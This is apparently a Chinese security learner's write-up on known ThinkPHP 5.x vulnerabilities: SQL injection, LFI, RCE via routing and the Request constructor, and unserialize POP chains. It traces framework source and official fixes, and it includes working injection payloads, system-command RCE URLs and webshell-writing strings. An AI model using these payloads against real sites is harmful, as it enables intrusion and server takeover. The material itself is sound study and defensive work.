这段时间因为一些原因老是有点自我纠结,很大程度上是因为对所计划学习的内容无法定夺的原因。上周因为hw所以错过了wmctf,赛后去看题发现基本都是php之类的,都不是很想看。相对感兴趣的框架的链子自己也没找全。感觉菜的不行,相比几个月前审一些比赛中的框架手生了很多。
最近因为一直在看Node.js相关的漏洞跟开发去了,加上自己一直对php心里有种厌恶感,导致没有劲头去深入学习。而上周hw的经历让我意识到php仍旧是国内各种网站的大头。所以痛下决心,开始把php跟java的知识同步学习。这里就用红日七月火师傅他们的thinkphpvuln项目吧。希望能够对代审的功力有所提升。
tp5-sqli-insert
安装的话composer 一把梭。具体参见Thinkphp-vuln项目。安装tpdemo
5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 版本间的sql注入漏洞。利用的话需要更改Index.php
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}
利用payload
http://localhost/tpdemo/public/?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1
注意这是在开启了tp的app_debug情况下的。否则我们的报错注入应该是看不到回显。
首先我们跟着Index.php中db这行语句,跟进think/db/Query.php的insert函数。
执行的sql语句如下。我们必然要跟进这个sql语句研究注入的可能。
$sql = $this->builder->insert($data, $options, $replace);
首先 $this->builder
为\think\db\builder\Mysql 类(这个其实就取决于你连接的数据库类型。稍微往前跟下可以看到) Mysql类继承于Builder类。所以
看向Builder的insert函数。
这里先跟进下parseData
protected function parseData($data, $options)
{
if (empty($data)) {
return [];
}
// 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;
}
parsedata接受的参数是我们传进的参数useranme数据。简单看下会发现中间的一个for循环是在遍历我们传进的数组并且只是进行一个拼接的操作。最后返回数据。比如我们的payload对应如下。$val[0]=inc
,之后返回的$result
只是$val[1],$val[2]
的拼接。parseKey 方法并没有在处理我们的输入数据后影响什么。
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
所以这里处理完后回到insert函数。我们的输入直接送到返回拼接的sql语句。造成sql注入
完整语句不妨直接在debug报错的地方看。会发现回显了sql语句
INSERT INTO `users` (`username`) VALUES (updatexml(1,concat(0x7e,version(),0x7e),1)+1)
显然上面case语句那里理论上exp,inc,dec
都可以造成sql注入。但实际测试会发现只有username[0]
为exp
无法注入。这是因为thinkphp内置过滤会将exp处理变为exp{空格}
。导致无法注入。
tp5-sqli-update
配置Index.php
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
return 'Update success';
}
}
大致思路跟上面一样。只不过此处是update注入。我们同样可以跟到Query.php。发现其实调用的是Connection类的update方法。代码如下
$sql = $this->builder->update($query);
builder依旧是上面提过的Builder类对象。其update方法依旧是先调用parseData再进行sql语句的返回。我们来看看修复后的parseData的case语句
default代码段parseArrayData
(这里我composer装不了tp5.1.7,如果是之前的版本parseArrayData应该是直接返回false的)
可以看到最后其实result是这样形式的字符串$fun('$point($value)')
。那与我们之前的基本没有什么区别,还是有拼接。直接构造成updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)')
即可.所以我们前面只要进入default分支就能达成这里的sql语句构造了。
最后攻击payload
?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
tp5-sqli-select
配置Index.php
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username');
$result = db('users')->where('username','exp',$username)->select();
return 'select success';
}
}
payload
?username=)%20union%20select%20updatexml(1,concat(0x7e,user(),0x7e),1)%23
从成功执行注入的debug界面可以看到我们执行的sql语句
SELECT * FROM `users` WHERE ( `username` ) union select updatexml(1,concat(0x7e,user(),0x7e),1)# )
这是一个tp5全版本的注入。不过似乎官方不认这个洞。
接下来直接跟下源码.
首先我们上面的$username = request()->get('username');
会经过Request类调用input方法处理输入.但是这个input方法并没有起到过滤的作用。像我们payload中不含/
和.
的话就是直接原数据返回。
然后我们看到接下来调用的Query类的where方法
public function where($field, $op = null, $condition = null)
{
$param = func_get_args();
array_shift($param);
$this->parseWhereExp('AND', $field, $op, $condition, $param);
return $this;
}
parseWhereExp
这里不用深入,主要是分析查询模式。直接看返回值的话会发现设置了类中的$options['where']
。我们主要看后面select()
接下来依旧是tp5执行sql语句的老套路。实际调用的是Builder类的select 方法。这个方法调用了巨量的str_replace()用于填充语句。
where语句是存在用户可控变量的。所以跟进parseWhere
.然后发现调用buildWhere
buildwhere代码量相对更多。但是同样存在一个for循环foreach ($where as $key => $val)
.这里我们进入最后一个else。并且调用parseWhereItem
。
而parseWhereItem中有这样的elseif
elseif ('EXP' == $exp) {
// 表达式查询
$whereStr .= '( ' . $key . ' ' . $value . ' )';
此处key为username。value为可控变量。即可拼接达成注入。
tp5.0-sqli-select-5.0.10
5.0.10版本的sql注入。配置Index.php如下
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username/a');
$result = db('users')->where(['username' => $username])->select();
var_dump($result);
}
}
复现payload
?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#
前面提到了我们的输入会经过Request的get()方法。它会一路调用input(),getFilter(),filterValue(),filterExp()来处理我们的输入。
public function filterExp(&$value)
{
// 过滤查询特殊字符
if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
// TODO 其他安全过滤
}
可以看到像之前的exp会被变成exp
的处理。但是5.0.10版本的过滤是有问题的。问题出在NOTLIKE
上。其更新版本的处理是加入了NOT LIKE
.
接下来跟上面那个全版本的sql注入可以按一样的流程走到parseWhereItem那。
我们的expnot like
存在于this->exp这个数组.所以会进入底下elseif ('LIKE' == $exp || 'NOT LIKE' == $exp)
的分支
elseif ('LIKE' == $exp || 'NOT LIKE' == $exp) {
// 模糊匹配
if (is_array($value)) {
foreach ($value as $item) {
$array[] = $key . ' ' . $exp . ' ' . $this->parseValue($item, $field);
}
$logic = isset($val[2]) ? $val[2] : 'AND';
$whereStr .= '(' . implode($array, ' ' . strtoupper($logic) . ' ') . ')';
} else {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseValue($value, $field);
}
可以看到$whereStr .= '(' . implode($array, ' ' . strtoupper($logic) . ' ') . ')';
这拼接了logic变量。而login会在传入了val[2]
的时候取自val[2]
。这是一个用户可控变量。所以可以达成sql注入。剩下的我们直接在前面构造一个合理的not like的语句就能在后面进行union select 从而拼出一个完整的sql语句。
今天先更这么多吧。看了php这么久果然还是nodejs更香……
tp5-sqli-orderby
Index.php配置如下
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'byc_404'])->order($orderby)->find();
var_dump($result);
}
}
(数据库中users表已有byc_404用户)
这里使用tp5.1.22版本。注入payload
?orderby[id`|updatexml(1,concat(0x7e,user(),0x7e),1)%23]=1
从成功触发注入的位置我们可以看到sql语句如下
SELECT * FROM `users` WHERE `username` = 'byc_404' ORDER BY `id`|updatexml(1,concat(0x7e,user(),0x7e),1)#` LIMIT 1
跟下流程。首先5.1.22对输入做的过滤跟以往版本不太一样了。我们先看看get方法的处理
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;
}
return $this->input($this->get, $name, $default, $filter);
}
input()
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
可以看到如果我们的$data
是数组的话。走的是array_walk_recursive
。这个函数的作用是
array_walk_recursive ( array &$array , callable $callback [, mixed $userdata = NULL ] ) : bool
将用户自定义函数 callback 应用到 array 数组中的每个单元
比如我写这样一个demo
<?php
$a=array("a"=>"testtest1232333","b##"=>"tes#tt##est");
function sanitize($str){
$str=str_replace("#","",$str);
echo($str."\n");
}
$end=array_walk_recursive($a,'sanitize');
自定义一个回调函数将字符中间的#
替换为空。其输出为
可以看到实际上只遍历了数组的值。没有处理数组的键。所以这里的filtervalue对数组的键没有任何影响。
之后执行语句操作时。我们的where仍然跟前面一样。将值存储在$options
数组中。而接受我们用户输入order
方法也是一样、最终值被完整存进$this->options['order']
中
然后自然又是find
了。它调用Builder
类的select
肯定已经非常熟悉了。不过这次我们orderby进入的是这个分支$this->parseOrder($query, $options['order'])
protected function parseOrder(Query $query, $order)
{
if (empty($order)) {
return '';
}
$array = [];
foreach ($order as $key => $val) {
if ($val instanceof Expression) {
$array[] = $val->getValue();
} elseif (is_array($val)) {
$array[] = $this->parseOrderField($query, $key, $val);
} elseif ('[rand]' == $val) {
$array[] = $this->parseRand($query);
} else {
if (is_numeric($key)) {
list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' ');
} else {
$sort = $val;
}
$sort = strtoupper($sort);
$sort = in_array($sort, ['ASC', 'DESC'], true) ? ' ' . $sort : '';
$array[] = $this->parseKey($query, $key, true) . $sort;
}
}
return ' ORDER BY ' . implode(',', $array);
}
这里同样没有过滤。处理的函数只有一个parseKey。注意这里的parseKey是db/builder/Mysql.php中的parseKey。
它对key的处理只是加了反引号环绕。因此其实没有做任何过滤。我们注入payload只需用注释符即可解决掉。
最后官方的修复方法是:在拼接字符串前对变量进行检查,看是否存在 )
、#
两个符号
tp5-sqli-Aggregatefunciton
tp5sql注入最后一个是mysql聚合函数导致的漏洞。 版本是5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25
不同版本利用payload需要微调。
例如5.1.22版本payload
?options=id`)+updatexml(1,concat(0x7e,user(),0x7e),1) from users#
我们还是跟进源码。从前面几次的经验我们已经可以总结出,tp5存在漏洞的几个版本对输入的过滤基本没有或者可以使用数组绕过。此处我们的输入同样没有受到过滤影响。因此直接从$result = db('users')->max($options);
这里跟进max函数。发现进而调用了aggregate
public function aggregate($aggregate, $field, $force = false)
{
$this->parseOptions();
$result = $this->connection->aggregate($this, $aggregate, $field);
if (!empty($this->options['fetch_sql'])) {
return $result;
} elseif ($force) {
$result = (float) $result;
}
return $result;
}
继续看到Connection类的aggregate
public function aggregate(Query $query, $aggregate, $field)
{
$field = $aggregate . '(' . $this->builder->parseKey($query, $field, true) . ') AS tp_' . strtolower($aggregate);
return $this->value($query, $field, 0);
}
parsekey函数上面一个注入的例子提到了。是对我们的输入在两侧加反引号的作用。那么自然我们注入payload可以闭合加注释符解决掉。下面直接看value.value同样会调用我们非常熟悉的builder的select方法。只不过这次调用的是parseField
。最后还是没有做任何过滤处理。返回语句。
完整语句如下
SELECT MAX(`id`)+updatexml(1,concat(0x7e,user(),0x7e),1) from users#`) AS tp_max FROM `users` LIMIT 1
至此tp5的sql注入系列就结束了。明天开始先看rce,之后是反序列化pop链。
tp5-lfi
Index.php配置如下
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
public function index()
{
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}
}
影响版本:5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10
使用?cacheFile=1.jpg
(jpg为对应图片马)触发lfi.
首先输入由assign()
函数处理。我们一路跟到View类的assign()
函数。
public function assign($name, $value = '')
{
if (is_array($name)) {
$this->data = array_merge($this->data, $name);
} else {
$this->data[$name] = $value;
}
return $this;
}
看到我们传入的数据直接保存到view的$this->data
接下来调用fetch
.我们同样一路跟到View类的fetch
中。
public function fetch($template = '', $vars = [], $replace = [], $config = [], $renderContent = false)
{
// 模板变量
$vars = array_merge(self::$var, $this->data, $vars);
// 页面缓存
ob_start();
ob_implicit_flush(0);
// 渲染输出
try {
$method = $renderContent ? 'display' : 'fetch';
// 允许用户自定义模板的字符串替换
$replace = array_merge($this->replace, $replace, (array) $this->engine->config('tpl_replace_string'));
$this->engine->config('tpl_replace_string', $replace);
$this->engine->$method($template, $vars, $config);
} catch (\Exception $e) {
ob_end_clean();
throw $e;
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter', $content);
return $content;
}
这里很快会发现实际调用的是$this->engine->$method($template, $vars, $config);
.而$method
此处为fetch
,$vars
为我们可控的传入变量。接下来由模板引擎处理我们的变量
public function fetch($template, $data = [], $config = [])
{
if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
// 获取模板文件名
$template = $this->parseTemplate($template);
}
// 模板不存在 抛出异常
if (!is_file($template)) {
throw new TemplateNotFoundException('template not exists:' . $template, $template);
}
// 记录视图信息
App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
$this->template->fetch($template, $data, $config);
}
注意到如果$template
对应的路径文件不存在的话直接报错了。所以这个lfi洞的前提还得需要我们环境代码中存在当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
。
如果这里没报错即进入template的fetch
.
看到$vars
被赋给data.而马上下面storage调用了read函数。里面存在extract
这样的变量覆盖代码。并且直接include
cacheFile。
也就是说,$cacheFile
可以被变量覆盖。达成lfi。
官方的修复方法是通过将$cacheFile
变量存储在 $this->cacheFile
中.防止变量覆盖。
tp5.0-rce
Index.php配置
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}
payload
http://localhost/tpdemo/public/?username=byc_404%0d%0a@eval($_GET[_]);//
上面的payload将把一句话webshell写入缓存文件。访问对应路径即可。
这个用例其实跟以前ichunqiu平台上一道thinkphp二次开发的模板缓存文件getshell很相似。这里来跟进下源码
public static function set($name, $value, $expire = null)
{
self::$writeTimes++;
return self::init()->set($name, $value, $expire);
}
......
public static function init(array $options = [])
{
if (is_null(self::$handler)) {
// 自动初始化缓存
if (!empty($options)) {
$connect = self::connect($options);
} elseif ('complex' == Config::get('cache.type')) {
$connect = self::connect(Config::get('cache.default'));
} else {
$connect = self::connect(Config::get('cache'));
}
self::$handler = $connect;
}
return self::$handler;
}
这里init()函数主要是实例化了一个handler
对象。此处为默认值File类。那么前往cache/driver/File类看下.
此处File类的set方法如下
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->getCacheKey($name);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>";
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
可以看到。数据$value
经由序列化后被拼接到含有php代码块的语句中。之后执行file_put_contents
.符合我们写入shell的用法。
因此只需注意使用换行符bypass前面的注释符即可。
当然这个写shell rce的方法比较尴尬。因为文件名可以看到由getCacheKey
决定。其文件名生成方式如下:先计算键名md5值。再取前两位为目录。后30位为文件名。我们这里是因为提前设定好了Index.php中键名为name
.所以可以计算文件名b0/68931cc450442b63f5b3d276ea4297.php
。但是实际中如果没有源码泄露无法得知键名。也就没法计算shell的路径。
当然。在反序列化pop链中我们利用这个File类关于文件名可控的问题就大不一样了。具体后面再说。
tp5.*-rce-get
比较出名的rce洞。影响版本5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。
5.1.x版本的payload有
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.*
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
首先起因可以从config/app.php中看到。默认情况下var_pathinfo
为s.url_route_must
为false
显然此时我们可以任意调用控制器。thinkphp中的流程是http://site/?s=模块/控制器/方法
在重要代码controller处下断点(此处也是5.1.30后高版本官方修改的部分。说明原代码存在问题)
payload
?s=index/\think\Request/input&filter[]=system&data=whoami
自动跟随debug调用函数跟进。开始在controller这可以看见$result
变量是存储了我们传入的值的数组。其值分别为index
,\think\Request
,input
.
一路跟下去会发现执行代码的关键位置在
thinkphp\library\think\route\dispatch\Module.php
public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init');
try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
// 获取当前操作名
$action = $this->actionName . $this->rule->getConfig('action_suffix');
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $this->rule->getConfig('action_suffix');
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$this->request->setAction($actionName);
// 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
$this->app['hook']->listen('action_begin', $call);
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
return $this->autoResponse($data);
});
return $this->app['middleware']->dispatch($this->request, 'controller');
}
仔细一看其实就是调用了反射方法。用$this->controller
,$this->actionName
.因为之前我们知道Request 类的input函数会对输入执行call_user_func操作。因此最后执行了call_user_func('system','whoami')
因此官方最后的修复是针对输入控制器名进行过滤^[A-Za-z](\w)*$
tp-5.*-rce-post
首先这个rce版本5.0.*应该是小于5.0.24的。所以用一个5.0.23版本的实验下。
首先payload
POST /?s=index/index HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=whoami
这里因为我的Index.php是之前实验ifi时的。所以index/index路由返回Cache Success.实际上s
只需要赋给一个存在method的控制器即可。
下面来跟下源码。首先从官方commit修改处可以看出原先代码中this->$method
变量来自可控数据$_POST
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
那么我们就可以调用Request类的method了。看到payload中存在__construct。自然看向构造方法
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
这个foreach明显存在配置覆盖的写法。这里继续下断点一路跟发现会根据app_debug的值前往当前类下param方法。
而这个方法全都走input方法。也就是都会调用了call_user_func
。
具体可以看这张图
前面提到我们可以覆盖属性。这里主要就是覆盖filter
跟server
。因为method方法中是取的我们传入的this->server['REQUEST_METHOD']
的值。所以覆盖为whoami
后作为参数被送到input.input又因为filtervalue方法调用call_user_func。直接利用覆盖的system
作为fliter值即可。
最后到达call_user_func rce
tp5.0.x-unserialize
这一部分主要是跟下tp5.0版本的反序列化pop链。不过这里不会分享exp.(网上跟先知应该都能很方便找到)。如果需要的话自己SCTF2020wp里有绕过短标签的exp。以及以前跟php框架有几个其他的exp可以自行寻找。当然我记得wh1t3P1g大佬自己把tp的popchain集成到phpggc中了。也可以自动生成。
然后就是windows下写文件的方法。目前能够在php7以前的版本写shell exp是有的。但php7的windows写shell我还没成功过。理论上windows不能成功的原因只是因为文件名不允许<
,?
的。但是如果用过滤器绕过的话应该是没问题的……
php5.4.45+windows 成功写入phpinfo() (关闭短标签)
这里我就直接跟下linux的payload吧。
首先是入口点。肯定是找__destruct
函数。不难发现一共只有几个可用。我们找到 library\think\process\pipes下windows.php。发现其调用了$this->removeFiles
.而removeFiles
又调用了file_exists
可以触发__toString
方法。
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
ps.关于file_exists可以触发__toString
自己以前还没有注意过。具体不妨去l3m0n师傅这篇文章下评论看看。
(应该是因为file_exists接受字符串参数,而只要对象被当做字符串即会触发__toString
)
全局继续找toString
.也只有几个选择。这里找到 think\Model.php
.它调用了toJson
。而toJson
继续调用了toArray
.
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
同时注意这里Model类是抽象类。所以实际编写exp时我们必须用它的子类。比如此处的Pivot。
我们直接来到toArray。这里首先主要看有没有可以触发__call
的情况。5.0.24版本下应该又三处都是可以满足的
$relation = $this->getAttr($key);
$value = $this->getRelationData($modelRelation);
$item[$key] = $value ? $value->getAttr($attr) : null;
与其说是找触发__call
的。不如说是找可用方法。多数情况下这些方法基本利用不了。但是如果满足this->xxx($var)
或者进一步可控类->xxx(可控变量)
。我们就能找任意类的__call
进行进一步挖掘。这也是pop链中call方法经常用到的原因之一。
为了了解我们如何控制这一步用来调用__call
。我们先放一下全局找__call
的过程。来选择一个触发方式。
对于$item[$key] = $value ? $value->getAttr($attr) : null;
这里看看$value
与$attr
依次是怎么被赋值的。
value
$relation = Loader::parseName($name, 1, false);
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
主要是对$name
调用parseName。而$name
来自可控数组$this->append
。
也就是说。$modelrelation
是Model这个类任意方法的返回值。(.$relation()
)。所以找一个直接返回可控数据的方法即可。比如getError
public function getError()
{
return $this->error;
}
回到上面。现在我们继续跟进getRelationData
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}
首先它接收的参数是Relation
类的。所以我们上面返回的结果$this->error
肯定也是一个Relation
的对象了。(Relation也是抽象类。所以实例化时要用它的子类)
然后此处我们自然要走第一个if分支来控制返回值。分别看下isSelfRelation()
跟getModel()
发现都只是简单返回this->relation
与this->query->model()
。全部可控。
那只剩下让get_class($modelRelation->getModel()) == get_class($this->parent)
成立了。
意思就是$modelRelation->getModel()
和$this->parent
为同类,也就是要求$value->getAttr($attr)
中的$value
和上面可控的model为同类
那么现在$value->getAttr($attr)
的value
跟完了。我们来看看$attr
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr)
......
上面提到过,modelRelation
因为取自可控方法所以是任意值。我们直接全局找getBindAttr
方法。只有一个接口类:Relation的子类OnetoOne
public function getBindAttr()
{
return $this->bindAttr;
}
数据可控。不过OnetoOne是抽象类。所以继续找子类。这里就只有两个子类。我们选择HasOne
.
现在。我们做到了任意调用__call
。剩下的就是找可用的__call
。
那么全局找可用的__call
。此处可以找到
think\console\Output 类。
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
那么首先上面触发点里$this->parent
肯定是要传Output类的实例了。
下面看这里的$this->block()
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}
调用的是$this->handle->write
。既然$this->handle
可控,那么此处找一个同名的write
方法。我们全局搜索找到Memcached类
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}
同理。还是可以全局找set
方法。第一个就是我们曾经在tp5RCE中见到的File类
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
之前曾经说过rce时缓存文件名不可控。但是在反序列化中就不存在这个问题。
$filename = $this->getCacheKey($name, true);
protected function getCacheKey($name, $auto = false)
{
$name = md5($name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);
if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}
文件名来自$filename = $this->options['path'] . $name . '.php';
.可控。
我们再看文件内容如何控制。
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
这里就是pop链最大的难点了。$data
其实并不可控。具体可以回溯到我刚刚上面放的一连串调用write方法的源码处。注意到
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}
write第二个参数是写死的true
。它会一路传到File类作为$data
写入。那么我们写文件等于控制不了写入内容。
但是没有关系。set在这个file_put_contents下还调用了一个函数setTagItem
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}
在这里我们又一次调用了set
。并且两个参数全部可控。所以最后循环调用我们就知道,写入文件的文件名为md5('tag_' . md5($this->tag)).'.php'
。内容为$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
当然。这里显然存在一个绕过死亡exit的问题。使用rot13即可。然后rot13的payload绕不过默认的短标签。所以会需要加过滤器组合拳。除了常见的base64,WMCTF中使用到其他的iconv
或者其他组合也是可行的。
原理不再赘述
那么。控制payload只要控制File类$this->options['path'] = php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>
即可。
执行exp打的话。会发现存在两个文件。这是上面我们调用了两次set
的缘故。而文件名由我们的$tag
决定。具体计算方法也在上面提及了。当然最好的方法永远是本地自己打一遍。这样才能确信文件名这种远程不可见的东西。
另外我相信大家肯定发现这个pop链有个变招。那就是linux,windows通用的写目录。回到上面getCacheKey
$dir = dirname($filename);
if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
只要把$this->options['path']
设置为目录的话。直接可以写755权限目录。
SCTF2020 考察tp5.024那道题当时使用了python脚本高强度删文件。导致我以为当前目录不可写。但是换成写目录的payload后发现可以创建目录。并且可以存在相同于靶机重启时间的3分钟。所以使用这种payload黑盒探测不失为一种办法。
tp5.1.x-unserialize
今天来跟下5.1的pop链。相比5.0而言思路大致相同。只有几个类的区别。并且其exp已经集成到phpggc上了。
还是从起点开始看。跟昨天5.0的链子是一样的。从Windows类开始。然后=>file_exists => toString()。然后接着全局搜索。此处利用Conversion的toString() => __toJson() => toArray()
而不是5.0中的Model类
看到thinkphp\library\think\model\concern\Conversion.php
中的toArray()
.我们同样寻找可以触发__call()
的代码
此处主要是$relation->visible($name)
会触发__call
.选择这一处的代码是因为,relation来自$this->getRelation($key)
.$name
来自$this->append
.
看到getRelation
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
